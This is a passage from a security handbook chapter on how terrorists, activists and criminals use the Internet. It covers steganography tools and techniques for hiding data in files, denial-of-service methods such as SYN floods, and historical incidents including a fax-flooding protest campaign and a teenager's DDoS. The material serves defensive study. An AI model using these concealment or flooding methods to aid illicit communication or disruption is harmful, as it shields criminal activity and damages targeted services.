supported cluster sizes as small as 4 Kb, even for very large partitions. Tools to enable you to do this are available on the Internet for free; examples of this type of tool include: • S-Mail. This is a steganographic program that will run under all versions of DOS and Windows. The system uses strong encryption and compression to hide data in EXE and DLL files. (Yes, it is possible to hide files within full working programs; after all, that is what a virus does.) The software has a pleasant user interface and has functions in place to reduce the probability of its hiding scheme being detected by pattern or ID string scanners (these are tools that can identify the use of steganographic techniques).
583
Information Warfare Tactics by Terrorists, Activists, and Miscreants
Antrim
Antrim Derry Donegal
Derry
Tyrone
Donegal
Tyrone
Down
Fernanagh
Fernanagh Armagh
Armagh Monaghan Sligo
Cavan
Monaghan Sligo
Louth File Size = 59.198 Kb This picture is the original
Down
Cavan Louth
File Size = 59.198 Kb This picture has had the entire text of this chapter concealed within the file
FIGURE 47.1 Steganography.
• Camouflage. This is a Windows-based program that allows you to hide files by scrambling them and then attaching them to the end of the file of your choice. The camouflaged file then appears and behaves like a normal file, and can be stored or e-mailed without attracting attention. The software will work for most file types and has password protection included. • Steganography Tools 4. This software encrypts the data with one of the following: IDEA, MPJ2, DES, 3DES, and NSEA in CBC, ECB, CFB, OFB, and PCBC modes. The data is then hidden inside either graphics (by modifying the least significant bit of BMP files), digital audio (WAV files), or in unused sectors of floppy disks. If you are attempting to hide data in files, no matter what the type, then you have two options: • You can hide your material in the file by adding to the data that is already there and thus increase the size of the file. • You can replace some of the data that is already in the file with the information that you want to hide and retain the same file length but have a slightly reduced quality in the original representation. To explain this in more detail, if you are using an image file to hide data, the normal method is to use the least significant bit of each information element as a place to store hidden data. In doing this, the changes to the image are so subtle as to be undetectable to the naked eye, but the changes are significant enough for steganographic software to be able to hide relatively large quantities of information in the image and also for the software to recognize a pattern within the image that it can use to reveal hidden material. It would not be unrealistic to hide the contents of this chapter in a relatively small image; for example, if you look at the two images that are reproduced in Figure 47.1, they are relatively small and yet it is possible to hide more than 30 pages of text within one of them with no noticeable degradation in the quality of the image. For the most part, the size of the file and the quality of the image are not significant; after all, if you do not have the before and after copies of the file or image on hand, how can you tell that the file has grown or that the image has been degraded? Even when you look at the two images above side by side, it is not possible to detect any significant difference. Other methods that can be used to hide data in other types of files include: • The use of programs such as Snow, which is used to conceal messages in ASCII text by appending white spaces to the end of lines. In a conventional page of text, there are normally 80 columns of
584
Information Security Management Handbook
information to the page. When we use a text file to save information that we have created on a computer screen, we do not use all 80 columns. If the word at the end of the line falls short of the 80th column, then we get a carriage return character after the last letter. If it is the last line of a paragraph, then there may be a considerable number of unused columns in the row. The Snow program fills in all of these unused spaces and uses the least significant bit of each of the bytes to hold an element of the hidden message. • Software such as wbStego lets you hide data in bitmaps, text files, HTML, and PDF files. The data is encrypted before it is embedded in the carrier file. • If you want to hide messages in music and sound files (MP3), then software such as MP3Stego will hide information in these files during the compression process. The data is first compressed, encrypted, and then hidden in the MP3 bit stream. Although MP3Stego was written with steganographic applications in mind, again there is the potential for it to be used for the good of the music and movie industries by allowing them to embed a copyright symbol or watermark into the data stream. An opponent who discovers your message in an MP3 stream and wishes to remove it can uncompress the bit stream and recompress it, which will delete the hidden information. The data hiding takes place at the heart of the encoding process, namely in the inner loop. The inner loop determines the quantity of the input data and increases the process step size until the data can be coded with the available number of bits. Another loop checks that the distortions introduced by the process do not exceed the predefined threshold. • Linux enthusiasts have programs such as StegFS,8 which is a steganographic file system for Linux. Not only does it encrypt data, but it also hides it such that it cannot be proved to be there. This large choice of software and encoding schema gives terrorists a wide set of options to suit the chosen methods of communication. If the selected method of covering the communications is through a newsgroup that exchanges music, then the use of an MP3 encoder is most sensible. After all, if the other users of the newsgroup have the same taste in music as the sender and recipient of the message, there is no problem; they can download the file, play it, enjoy it, and yet be totally unaware of the hidden content. If the chosen method of communication is one of image sharing, then again, the images can be posted in public, with anyone able to view the images, but only those who are aware of the additional content are likely to use tools to extract it. On the plus side of this is that, increasingly, it is possible to detect the use of steganography. Software is now becoming available that will identify the use of an increasing range of the steganographic packages in use. One example of a tool that can detect the use of steganography is the Steganography Detection & Recovery Toolkit (S-DART), which was sponsored by the U.S. Air Force Research Laboratories9 and commissioned by WetStone Technologies, Inc. The aim of this kit was to develop algorithms and techniques for the detection of steganography in digital image files, audio files, and text messages. The aim of the project was to develop a set of statistical tests that could detect the use of steganography and also identify the underlying method that was used to hide the data. Another tool is Stegdetect, an automated tool for detecting steganographic content in images. It is capable of revealing a number of different steganographic methods used to embed hidden information in JPEG images. Currently, the methods that can be detected by this software package are jsteg, jphide for UNIX and Windows, invisible secrets, and outguess 01.3b. While these tools are still limited in the range of data hiding techniques that they can detect, their range will increase rapidly; however, as with viruses and most other forms of malicious code on the Internet, the detection tools will always lag somewhat behind the tools that provide the capability. Cryptography
It makes sense that if you are a terrorist and you want to communicate using the Internet, you are not going to risk your life or your liberty when people are not able to recognize the use of steganography on its own. Because the steganographic software is not interested in the type of material that it is incorporating into the carrier file, it will hide an encrypted message just as happily as it will hide a cleartext message.
Information Warfare Tactics by Terrorists, Activists, and Miscreants
585
An encryption program scrambles information in a controlled manner through the use of a cryptographic key. In the past, you sent a message encrypted with a particular key to someone and they had to be in possession of the same key to decrypt the message. This is known as symmetrical cryptography. This, unfortunately, meant that you had to communicate the key to the person to whom you were sending the message. This was achievable for governments that have the infrastructure to distribute the cryptographic keys in a secure manner; however, this type of approach is just not realistic for the general public to consider. Only in recent years has such technology been increasingly found in the public domain. Perhaps the best known of the publicly available high-grade encryption systems is Pretty Good Privacy (PGP), the system developed by Phil Zimmerman. As a result of the prominence that PGP has achieved, this discussion will concentrate on a description of cryptography on this system. PGP is a public-key encryption software package that was initially intended for the protection of electronic mail. When PGP was published domestically in the United States as a freeware offering in 1991, it was very quickly adopted all over the world, with the result that it has become the de facto worldwide standard for encryption of e-mail. The author of the PGP software was under investigation for a period of about three years by authorities (the U.S. Customs Service) who were investigating a possible breach in arms control relating to the export of weapons, including high-grade encryption. It is one of the nonsenses of the age of technology that it was considered to be an offense to export the software package that incorporated the encryption algorithm, but there seemed to be no problem with leaving the country with the algorithm printed on a t-shirt. The investigation into the situation was finally closed, without Zimmerman being indicted, in January 1996. It is interesting that, in at least one interview, Zimmerman stated, as part of the rationale for the development of PGP, that the software was now used all over the world, particularly in Central America, in Burma, and by the government in exile from Tibet, as well as by human rights groups and human rights activists who were documenting the atrocities of death squads and keeping track of human rights abuses. He went on to state that he had been told by these groups that, if the governments involved were to gain access to the information that had been encrypted, all of the individuals involved would be tortured and killed. Again, who is the terrorist? Who is the freedom fighter?
Propaganda Another reason why a terrorist organization might use the Internet is to spread the organization’s message and further its cause. For this, the Internet is an outstanding tool. It is the most widely used, uncontrolled medium that has international reach. The number of organizations that have exploited this reach and lack of censorship is huge. Some of the better examples include the Provisional Irish Republican Army (PIRA), the Euskadi Ta Askatasuna (ETA), the Mexican Zapatistas, and the Chechen rebels. The PIRA has a well-founded presence on the Internet through the auspices of its political wing, Sinn Fein, and publications with a strong online presence such as An Phoblact. Web sites that support the aspirations and the “cause” of the PIRA have been initiated in a number of countries; some good examples are the Sinn Fein home page10 and Sinn Fein Online.11 Other informative sites can be found at the Irish Republican Network12 and the Trinity Sinn Fein Web sites.13 In addition to the large number of sites that provide information on the IRA, other sites provide a different perspective on the conflict in Northern Ireland, with some of the sites providing a more balanced view than others, but undoubtedly that statement in itself demonstrates a prejudice, as other people might take a different view of the balance of reporting of the sites. The conflict in Northern Ireland is one of the longest-running “terrorist” actions that has taken place in the English-speaking world; not surprisingly, it attracts a lot of comment and debate and has a significant presence on the Web. Although the PIRA is the best known of the groups that represent one side of the conflict, a large number of other groups claim to be active in the province, including:
586
Information Security Management Handbook
• • • • • • • • •
Continuity Irish Republican Army Combined Loyalist Military Command Irish National Liberation Army Irish People’s Liberation Organization Irish Republican Army Loyalist Volunteer Force Real Irish Republican Army Ulster Defence Association Ulster Freedom Fighters
The majority of these also have, to a greater or lesser degree, a Web presence, some of the more notable of which are: • The Irish People’s Liberation Organization,14 which represents another view of the republican perspective • A loyalist view found at the Ulster loyalist Web page15 • The Ulster Volunteer Force (UVF) presence at the UVF page of the Loyalist Network16 In addition to all of these many partisan views of the situation are a number of sites that allegedly attempt to provide a “neutral” view of the situation. Examples of these sites can be found at Rich Geib’s Universe17 or the Irish Republican Army Information Site.18 Other sites that provide insight into the attitudes of, and toward, the various parties in the province can be found at Vincent Morley’s flags Web page19 and a unionist Mural Art from Belfast page.20 An example of a terrorist site from another part of Europe is the case of the Euskadi Ta Askatasuna (ETA). This violent terrorist group, which lays claim to a portion of northern Spain and southern France, has its own Web presence to present the case for its grievances, to explain its culture and history, and to justify its actions and seek support. As with other similar groups, it has its supporters and detractors, both of which use the Web to try to influence the opinions of the readership. In the case of supporters of ETA and the Basque state, which they themselves refer to as “Euskal Herria,” the primary Web pages are the Euskal Herria Journal, which promotes itself as Basque Journal21 and puts forward the aims and expectations of the group that it represents, and the Basque Red Net,22 which puts forward a very welldeveloped argument based on the culture and history of the area. A view of ETA from the Spanish government can be seen at the Ministry of the Interior page that has the title “ETA — Murder as Argument.”23 This Web page is produced in three languages (Spanish, French, and English) to enable the widest reasonable readership of the arguments presented. One French view of the issues can be seen at the Web site of the Mediapaul Project.24 In an example from Central America, the Zapatista rebels in the Chiapas region of Mexico have become one of the most successful examples of the use of information systems and communications by a hugely outnumbered and outresourced group of activists. The Zapatistas used the Internet to outmaneuver the Mexican government and to bring world pressure to bear on a situation that was entirely internal to Mexico. The use of the Internet gained the Zapatistas not only support from throughout Mexico but also from the rest of the world. It will also now be used as a template for actions in other parts of the world, and the implications of the Zapatista rebellion will have an effect on other confrontations with contemporary capitalist economic and political policies. The surge of support for this (to European and North American eyes) very parochial action in a Central American republic came when a report, written for Chase Emerging Markets clients by Riordan Roett, was apparently leaked to Silverstein and Cockburn’s Counterpunch newsletter. The report was found to call for the Mexican government to “eliminate” the Zapatistas to demonstrate its command over the internal situation in Mexico. When this news and the report were posted on the Web, there was worldwide reaction against the Mexican government, America, and the American bank that had commissioned the report. Part of the response to this news was an increase in the hacking of Mexican government Web sites. In addition, the Electronic Disturbance Theater (EDT)25 released what they referred to as a digital translation
Information Warfare Tactics by Terrorists, Activists, and Miscreants
587
of the Zapatista Air Force Action, which they called the Zapatista tribal port scan. This was carried out to commemorate a nonelectronic act that involved, on January 3, 2000, the Zapatista Air Force “bombarding” the Mexican Army federal barracks with hundreds of paper airplanes on each of which was written a message for the soldiers monitoring the border. Despite the fact that the action in the Chiapas region has effectively been underway since 1994, there was still support and online action such as that by the EDT in 2001. In the former Soviet Union, the situation with regard to the ongoing conflict in Chechnya is one that the media is now starting to class as an “information war.” The Chechen separatists are primarily represented on the Internet by two sites: one from the Chechen Republic of Ichkeria and the other from Kavkaz–Tsentr.26 The Ichkeria site is seldom updated, but the Kavkaz–Tsentr site is reported as an example of a professional approach to information war. This site is kept up to date with daily reports on Chechen military successes against Russian forces, as well as more light-hearted items and events that surround Chechnya. According to numerous reports from organizations, including the BBC, Moscow is applying the same tactics that it observed NATO using in the former Republic of Yugoslavia to try to win the information war in Chechnya. In the previous Chechen war that started in 1994, the then-fledgling commercial station NTV showed graphic pictures from both sides of the conflict; however, now the Russian broadcasters and press are much more selective in their reporting of the fighting. The Kavkaz–Tsentr site has been repeatedly targeted by hacker attacks since at least 1999. The hackers have repeatedly defaced the Web site with anti-Chechen images and slogans and have redirected traffic intended for the site to a Russian Information Center site; however, the site has normally managed to restore normal operations within 24 hours.
Reaction to the World Trade Center and Pentagon Attacks This has been inserted here because the case to be highlighted shows the dangers of “vigilantes” and people who, for the best of intentions, take actions for which they have not researched the background information. The action in question was reported by Brian McWilliam of “Newsbytes”27 on September 27, 2001. He revealed that members of a coalition of vigilante hackers had mistakenly defaced a Web site of an organization that had had offices in the World Trade Center. The hacker group, called the Dispatchers, attacked the Web site of the Special Risks Terrorism Team, which in fact was owned by the Aon Corporation. The other sites that were attacked by this group were both in Iran, which for the geographically challenged is not in Afghanistan, and both were in fact hostile to the Taliban regime and Osama bin Laden. One can understand the anger and frustration and the desire to strike out in the aftermath of the attacks, but this type of action by uninformed and nonrepresentative individuals does much to damage relationships with countries and organizations that have not (at least in recent years) caused any offense and are in fact sympathetic to the cause.
Denial of Service When a terrorist organization cannot achieve its objective by the means that are normally used — the bullet and the bomb — it has the potential to use the Internet and the connectivity of the systems on which we now rely so heavily to gain the desired impact. There are a number of advantages and disadvantages to this approach, but if the normal techniques cannot be used it provides another vector of attachment to be utilized that has the advantages of being untraceable to the source and nonlethal. When compared to the average activity of a hacker, who has limited capability in terms of equipment and sustainability, the terrorist will normally have a greater depth of resources and of motivation. An action that is taken in support of a cause that is believed in will have a much higher motivation to succeed than the whim of an idle mind or simple curiosity.
588
Information Security Management Handbook
What Is a Denial of Service Attack? A denial of service (DoS) attack is characterized by an attempt by an attacker or attackers to prevent legitimate users of a service from using that service. Types of DoS attacks include: • Network flooding, resulting in the prevention of legitimate network traffic • Attempts to disrupt connections between two machines, resulting in the prevention of access to a service • Attempts to prevent a particular individual from accessing a service • Attempts to disrupt service to or from a specific system or person
Not all disruptions to service, even those resulting from malicious activity, are necessarily DoS attacks. Other types of attack include denial of service as a component, but the denial of service itself may be part of a larger attack. The unauthorized use of resources may also result in denial of service; for example, an intruder might make use of an organization’s anonymous FTP area as a location where they can store illegal copies of software, using up disk space and CPU time and generating network traffic that consumes bandwidth. The Impact Denial Of Service attacks can disable either the computer or the network. In doing so, this can neutralize the effectiveness of an organization. DoS attacks can be carried out using limited resources against a large, sophisticated, or complex site. This type of attack may be an “asymmetric attack.” An asymmetric attack is one in which a less capable adversary takes on an enemy with superior resources or capabilities. For example, an attacker using an old PC and a slow modem might be able to attack and overcome a much faster and more sophisticated computer or network. Types of Attack Denial of service attacks can manifest themselves in a number of forms and can be targeted at a range of services. The three primary types of DoS attacks are: • Destruction or alteration of configuration information for a system or network. An incorrectly configured computer may not operate in the intended way or operate at all. An intruder may be able to alter or destroy the configuration information and prevent the user from accessing his computer or network. For example, if an intruder can change information in your routers, the network may not work effectively, or at all. If an intruder is able to change the registry settings on a Windows NT machine, the system may cease to operate or certain functions may be unavailable. • Consumption of precious resources. Computers and networks need certain facilities and resources to operate effectively. This includes network bandwidth, disk space, CPU time, applications, data structures, network connectivity, and environmental resources such as power and air conditioning. • Physical destruction or modification of network elements. The primary problem with this type of attack is physical security. To protect against this type of attack, it is necessary to protect against any unauthorized access to the elements of your system — the computers, routers, network elements, power and air conditioning supplies, or any other components that are critical to the network. Physical security is one of the main defenses used in protecting against a number of different types of attacks in addition to denial of service. Denial of service attacks are normally targeted against network elements. The technique that is normally used in an attack is to prevent the host from communicating across the network. One example of this type of attack is the synchronization (SYN) flood attack. In this type of attack, the attacker initiates the process of establishing a connection to the victim’s machine. It does this in a way that prevents the completion of the connection sequence. During this process, the machine that is the target of the attack has reserved one of a limited number of data structures required to complete the impending connection. The result is that legitimate connections cannot be achieved while the victim machine is waiting to complete bogus “half-open” connections.
Information Warfare Tactics by Terrorists, Activists, and Miscreants
589
This type of attack does not depend on the attacker being able to consume your network bandwidth. Using this method, the intruder is engaging and keeping busy the kernel data structures involved in establishing a network connection. The effect of this is that an attacker can execute an effective attack against a system on a very fast network with very limited resources. According to a report posted on May 23, 2001, the Computer Emergency Response Team/Coordination Center (CERT/CC), one of the most important reporting centers for Internet security problems, was offline for a number of periods on a Tuesday and Wednesday as a result of a distributed denial of service (DDoS) attack.28 The CERT/CC posted a notice on its Web site on Tuesday saying that the site had been under attack since 11:30 a.m. EST that day and, as a result, at frequent intervals it was either unavailable or access to the site was very slow. The CERT/CC is a government-funded computer security research and development center that is based at Carnegie Mellon University in the United States. The site monitors Internet security issues such as hacking, vulnerabilities, and viruses, and issues warnings related to such issues and incidents. The center issues warnings and sends alerts via e-mail. According to the report, the organization was still able to conduct its business and had not lost any data. News of the attack on CERT/CC came on the day after researchers at the University of California at San Diego issued a report stating that over 4000 DoS attacks take place every week. A DDoS attack such as the one experienced by the CERT/CC occurs when an attacker has gained control of a number of PCs, referred to as zombies, and uses them to simultaneously attack the victim. According to an unclassified document29 published November 10, 2001, by the NIPC, technologies such as Internet Relay Chat (IRC), Web-based bulletin boards, and free e-mail accounts allow extremist groups to adopt a structure that has become known as “leaderless resistance.” Some extremist groups have adopted the leaderless resistance model, in part, to “limit damage from penetration by authorities” that are seeking information about impending attacks. According to the report, which was prepared by NIPC cyber-terrorism experts, “An extremist organization whose members get guidance from e-mails or by visiting a secure Web site can operate in a coordinated fashion without its members ever having to meet face to face.” In addition to providing a means of secure communications, the range and diversity of Internet technologies also provide extremists with the means to deliver a “steady stream of propaganda” intended to influence public opinion and also as a means of recruitment. The increasing technical competency of extremists also enables them to launch more serious attacks on the network infrastructure of a nationstate that go beyond e-mail bombing and Web page defacements, according to the NIPC. According to a separate article on international terrorism by a professor at Georgetown University, the leaderless resistance strategy is believed to have been originally identified in 1962 by Col. Ulius Amos, an anti-Communist activist, and this approach was advocated in 1992 by a neo-Nazi activist, Louis Beam.
Information Warfare Tactics by Activists What does an activist seek to achieve by using information warfare techniques? It is likely that the types of activity that an activist will undertake will be very similar to those of a terrorist group, with the main difference being the scale and the type of target. One of the main aims of activists is to achieve their goals by exerting pressure through a route other than the government or a corporate process, although they may also use this route. If they can exert this pressure on the targeted organization through denial of service or through propaganda, they will do so, but they will also use the Internet to communicate with their colleagues and fellow activists and to gain information or intelligence on their target to identify its weak points. Activists were, historically, groups of people with a common cause who wanted to bring pressure to bear on the “establishment.” The establishment might be a government, an international organization such as the World Trade Organization, or even an industry sector, such as the petrochemical industry or the biotech sector.
590
Information Security Management Handbook
Denial of service attacks do not have to be sophisticated to have an impact. In 1995, during the detonation of nuclear tests in the Pacific, a number of groups, including Greenpeace, took online action to put pressure on the French government. The actions ranged in scope and type from those reported by Tony Castanha,30 who said that the Hawaii Coalition against Nuclear Testing would be conducting its second protest of the summer on Sunday, September 3, 1995, at 8:30 a.m. He reported that the Coalition would be gathering at the Diamond Head end of Ala Moana Park and then march to Kapiolani Park. The Coalition requested readers’ help to support a nuclear test ban and to voice their concern on French nuclear testing. The online posting also requested that people attending the protest bring signs and banners with them. This was an effective use of the online resource to inform people of a physical gathering and to keep them informed of the latest local news with regard to their issues. Another online action that was part of the Greenpeace campaign against the French nuclear tests was an international fax campaign. The campaign was advertised online and details of the fax numbers that were nominated as targets were listed, together with printers that were apparently available. An extract from the material on the Web page is given below. E-Mail the French Embassy in Wellington — Tell Monsieur Chirac what you think mailto:remoteprinter.french_embassy/wellington/[email protected] The Greenpeace postings also advocated that participants should send e-mails to one of the leading French newspapers, Le Monde — mailto:[email protected]. — to express their concern. The postings urged participants to: … inundate these numbers with protest e-mail. Note: Jacques Chirac’s e-mail address was closed within one day of posting here so … if you could send one fax every week to any or every number below, that would be brilliant! THE NUMBERS ARE: Jacques Chirac, President de la Republic +33 1 47 42 24 65 +33 1 42 92 00 01 (not working at present) +33 1 42 92 81 88 (not working at present) +33 1 42 92 81 00 Fax Number: +33 1 42 92 82 99 Charles Millon, Ministere de la Defense (Defence Minister) +33 1 43 17 60 81 (not working at present) Herve de Charette, Ministere des Affaires Etrangeres +33 1 45 22 53 03 (not working at present) Also given were the fax numbers of a number of leading French individuals and organizations. The individuals included Alain Juppe (Prime Minister), and the organizations included the French Embassy in London, the French Institute in Taipei, the French Nuclear Attaché in Washington, and the Nuclear Information Centre at the French Embassy in Washington. This relatively early example of the use of the Internet by activists to bring pressure to bear (in this case, on the French government) showed a range of ways in which the technology could be used. These included e-mail protests to individuals and a newspaper, the dissemination of fax numbers for use by people who could then block these numbers with the volume of calls that were made to them, and the dissemination of information about local actions that could be accessed by a large number of people. Another example of online activity by pressure groups can be seen in the September 2000 fuel protests that took place across Europe. Not only was the Internet used to post news of the current situation with the fuel protest to keep the people involved informed of the latest situation in each of the countries and regions, but it was also used to mobilize activists to considerable effect. An example of the results achieved can be seen in the online news posting that was headlined “Berlin stands firm over fuel protest.” This was posted on September 20, 2000. The news item reported that
Information Warfare Tactics by Terrorists, Activists, and Miscreants
591
Germany’s transport minister, Reinhard Klimmt, had said that the government would not hand out any concessions to German haulers, despite the fact that concessions had been handed out elsewhere in Europe, and that any such move would have to be part of a coordinated European Union effort. This statement was made after German truckers and farmers held up traffic in a series of protests over the high price of fuel on Tuesday, but the government refused to cut taxes and criticized other European governments that had done so, with both France and Italy having offered to cut tax on diesel fuel to appease truckers in those countries. Another online action by activists targeted the world trade summit. This action was planned by a coalition of cyber-protesters who intended to flood 28 Web sites associated with the free trade negotiations at the Summit of the Americas with e-mail messages and requests for Web pages. The participants hoped to gain enough support to effectively mount a DoS attack. The action was apparently led by a group called the Electrohippies. This hacktivist action was intended to mirror the summit’s schedule, which started on Friday evening and ran through the weekend to Sunday in Quebec City. Leaders from 34 nations were meeting there to discuss the establishment of a single free-trade zone that would extend from Canada in the north to Chile in the south. One of the fastest growing activities on the Web is the defacement of Web pages. The rationale for the defacement and the selection of the target for the attack is totally dependent on the cause that the attacker is supporting. Examples of this type of attack include: • The attack on the Kriegsman fur company by the hacker “The Ghost Shirt Factory” on November 12, 1996 — The Web site was defaced by the animal rights activists who made clear their dislike of the fur trade. • An attack on the Web site of the Republic of Indonesia by a hacker known as “TOXYN” on February 11, 1997 — This attack was on the Web site of Indonesia’s Department of Foreign Affairs and was claimed to be an action taken in protest against Indonesia’s occupation of East Timor. • Another attack on the Republic of Indonesia took place the following year when hackers known as “LithiumError/ChiKo Torremendez” defaced approximately 15 Indonesian domains at the same time. This was claimed to be a part of an anti-President Suharto campaign. • Another example, this time from France, occurred when the French National Front Web site was defaced by a hacker known as “RaPtoR 666.” The attack took place on January 28, 1999, and the hacker defaced the Web site in French, but an English-language version was also made available by a hacker known as the “GrandMeister.” These examples are but a tiny fraction of the thousands of Web site defacements that now take place every day around the world. Archives of hacked Web sites can be found in a number of locations, but some of the more popular sites are the Onething Archive31 and the 2600 magazine archive.32 The use of propaganda by activists is an effective weapon in their armory. Through its distributed nature and the lack of control that exists on the Internet, it is extremely easy to get a message published, and with determination and resources anyone can put up a very effective presence to support a cause. It could be said that any terrorist or activist Web sites, or the sites of the regimes or topics that they oppose, are placed on the Web for the purposes of propaganda. It is worth remembering that plain and simple facts that to you or me are indisputable are, to others, propaganda produced by a system that they oppose. A number of Web sites have dealt with this subject in some depth and have largely poked fun at the more obvious cases of propaganda, whether they are from governments or from other organizations. One of these sites, Propaganda & Psychological Warfare Studies,33 looks at the situation in Africa, and another, the Extremist propaganda Web page,34 pokes fun primarily at the American culture. Another group becoming more of a domestic terrorist factor in the United States is the eco-terrorists, who appear to be out to “save the planet from human destruction.” Currently, they appear to be happy blowing up buildings and destroying laboratory research equipment which ironically are in some cases being used to help the environment.
592
Information Security Management Handbook
Information Warfare Tactics by Miscreants in General The catch-all category of miscreant is really here because many other people and groups out there cannot be classified as either terrorist or activist but can still have a significant impact on a country, an organization, or an individual. This includes groups such as drug cartels and other organized crime groups such as the Mafia. The tactics that they will use will depend on the level of skill they possess, the target of their attention, and the effect they are trying to cause. One small but significant grouping is that of the anarchists and techno-anarchists. It is surely surprising that the anarchists that are active on the Internet can organize themselves well enough to have an impact, given that the definition of an anarchist is: An-ar-chist \an-er-kist, -ar- \ n (1) one who rebels against any authority, established order, or ruling order; (2) one who believes in, advocates, or promotes anarchism or anarchy, esp. one who uses violent means to overthrow the established order. Does their joining together in a common cause mean that they are not true anarchists, or does it mean that the definition is wrong? Typically, the targets for anarchists have been governments and large multinational companies, but in recent years there has been a significant shift towad targeting meetings of the G8 and other institutions perceived to have an effect on the world economy, such as the World Bank. Recent meetings of the heads of governments have increasingly come under violent attack from the anarchists and this has been mirrored in the activity seen on the Internet. The cause of a denial of service attack from this portion of the population will be totally dependent on the relationship between the attacker and the target. The attack may be as the result of a perceived slight on an individual by another individual or an organization, or as part of a concerted attack that is part of a wider event. One set of observed attacks that fall into this group is the well-documented but totally unexplained attacks on a site known as GRC.COM: On the evening of May 4th, 2001, GRC.COM suddenly dropped off the Internet. I immediately reconfigured our network to capture the packet traffic in real-time and began logging the attack. Dipping a thimble into the flood, I analyzed a tiny sample and saw that huge UDP packets — aimed at the bogus port “666” of grc.com — had been fragmented during their travel across the Internet, resulting in a blizzard of millions of 1500-byte IP packets. We were drowning in a flood of malicious traffic and valid traffic was unable to compete with the torrent. At our end of our T1 trunks, our local router and firewall had no trouble analyzing and discarding the nonsense, so none of our machines were adversely affected. But it was clear that this attack was not attempting to upset our machines, it was a simple brute-force flood, intended to consume all of the bandwidth of our connection to the Internet…and at that it was succeeding all too well. Gibson Research Corporation is connected to the Internet by a pair of T1 trunks. They provide a total of 3.08 megabits of bandwidth in each direction (1.54 megabits each), which is ample for our daily needs. We know what the malicious packets were, and we will soon see (below) exactly how they were generated. But we haven’t yet seen where they all came from. During the seventeen hours of the first attack (we were subsequently subjected to several more attacks), we captured 16.1 gigabytes of packet log data. After selecting UDP packets aimed at port 666…. I determined that we had been attacked by 474 Windows PCs. This was a classic “Distributed” Denial of Service (DDoS) attack generated by the coordinated efforts of many hundreds of individual PCs. After some investigation, the victim of the attack was contacted by the attacker who posted the following messages to him: hi, its me, wicked, im the one nailing the server with udp and icmp packets, nice sisco router, btw im 13, its a new addition, nothin tracert cant handle, and ur on a t3 … so up ur connection foo, we will just keep comin at you, u cant stop us “script kiddies” because we are better than you, plain and simple.
Information Warfare Tactics by Terrorists, Activists, and Miscreants
593
[In this message, the attacker revealed himself to be 13 years old.] to speak of the implemented attacks, yeah its me, and the reason me and my 2 other contributers, do this is because in a previous post you call us “script kiddies,” at least so i was told, so, I teamed up with them and i knock the hell out of your cicso router In this posting, the attacker reveals that he has had the help of a couple of friends, subsequently named as hellfirez and drgreen, but reveals that the denial of service attacks (there were six in all) were caused because someone has told him (WkD) that the victim had referred to him as a “script kiddie.” If such a perceived (but unconfirmed) insult generates this level of reaction, then the consequences of a real event are impossible to guess. Some of the easier-to-remember cases of theft on the Internet are cases that originated in Russia, the most notorious being the Citibank theft that was perpetrated by Vladimir Levin. Although the eventual result of this attack was reported to be a loss of $400,000, the exposure of the bank during the attack was reported as $10 million to $12 million. Levin was captured as he passed through London and in 1998 he was sentenced to three years in jail. Another Russian case was that of “Maximus,” a cyber-thief who stole a reputed 300,000 credit card numbers from Internet retailer CD Universe during 1999 and demanded a $100,000 ransom not to release them onto the Internet. When the money was not paid, he posted 25,000 of the credit card numbers onto a Web site. The impact of this was that 25,000 people had their credit details exposed to the world. The only possible outcome of this action would be the replacement of all the affected cards with the respective cost implications. It is notable that in Russia, according to Anatoly Platonov, a spokesman for the Interior Ministry’s “Division R” that handles computer crimes, there had been 200 arrests made in the first three months of the year 2000, which was up from just 80 in all of 1998. He speculated that this rise in the number of arrests may reflect an increased police effectiveness rather than a growth in crimes. In the United States, an incident that was given the name of Solar Sunrise, which was first reported in 1998 in the “Defense Information and Electronics Report,” exposed the Department of Defense’s poor state of computer security. The Pentagon initially believed that the attack was very serious and probably originated in Iraq; however, two teenagers in California were eventually arrested for breaking into the military networks. The teenagers were able to breach computer systems at 11 Air Force and Navy bases, causing a series of denial of service attacks and forcing defense officials to reassess the security of their networks. The two Californian kids were assisted by an Israeli youth, Ehud Tenenbaum, who was known as “The Analyzer,” and were described by Art Money, the acting Assistant Secretary of Defense for Command, Control, Communications, and Intelligence, and the DoD’s CIO, at the time as kids “having a hell of good time.”35 For some of the groups in this category, the online collection of intelligence is currently a major issue. It is now almost irrelevant as to whether you refer to this activity as spying, as open source intelligence collection, or as industrial espionage; the net results are very similar, as are the methods used. In the past, if you were planning an action against an adversary, you would carry out a reconnaissance of the target and gain as much information as possible to enable you to identify the specific targets and to learn as much as possible about their habits, practices, and history. You would visit the public offices and the libraries and read newspapers to gather background information and you would visit the site to gather more specific information through observation, or through methods such as dumpster diving (yes, it did exist before we had computers; it was just that the information that the dumpster diver was looking for was different). Now, most of the information that exists with regard to a person or an establishment is held in computer text files or databases, so the need for protagonists to expose themselves to identification by visiting the site or by being seen in local libraries or public offices is greatly reduced. Another form of attack that this category of attacker might use is identity theft. It is now trivially easy to gain all the information you need to assume someone else’s identity (identity theft) or draw all of the information needed with regard to an organization or a company. Identity theft is still largely confined to the United States; however, the number of recorded incidents has risen dramatically in recent years.
594
Information Security Management Handbook
When an individual is the victim of an identity theft, the results can be startling and the restoration of a state that is similar to that which existed before the identity was stolen is extremely difficult and timeconsuming. It also has terrorist implications as one can imagine. If there is a recorded case that exemplifies the damage that can be caused to an organization if details of it are known to hostile activists, it is worth looking at the case of the Huntingdon Life Sciences in the United Kingdom. The organization had resisted intense pressure from animal activists for a considerable time, first experiencing direct action against the organization and its staff and then, more recently, through indirect action which was highlighted by the protesters putting pressure on the banks that were providing finance and banking facilities to the organization. Where did the animal rights activists get the information on where Huntingdon Life Sciences banked? There are actually a number of ways in which they could have obtained this information, but, in reality, if you know where to look for it, it is actually freely available online. Once the protesters had this innocuous item of information, they could bring the organization to the brink of disaster by putting intense pressure on the banks and intimidating their staff members. Since its early days, the Internet has been exploited for espionage. What better medium could the modern information broker, activist, or spy want? They have been provided with a low-risk means of access to a country and a facility or organization, a means of communication that is both anonymous and untraceable, the potential to use cryptography without raising the slightest suspicion, an updated version of the Cold War “dead letter box,” and a set of obstacles to overcome to gain access to industrial and government information that, in previous times, would have been considered laughable. The first case of online espionage was reported when Cliff Stoll documented his actions and discoveries of 1985 in his book The Cuckoo’s Egg.36 In this case, the Soviet Committee for State Security (Komitet Gosudarstvennoi Bezopasnosti, or KGB) is known to have paid an East German hacker, Markus Hess, to penetrate U.S. defense agency systems. In a present-day case, the heavily reported Moonlight Maze attacks have been occurring for some time, probably since 1997 or before. Hackers from eastern Europe have broken into a large number of systems, including the Pentagon’s systems, accessing 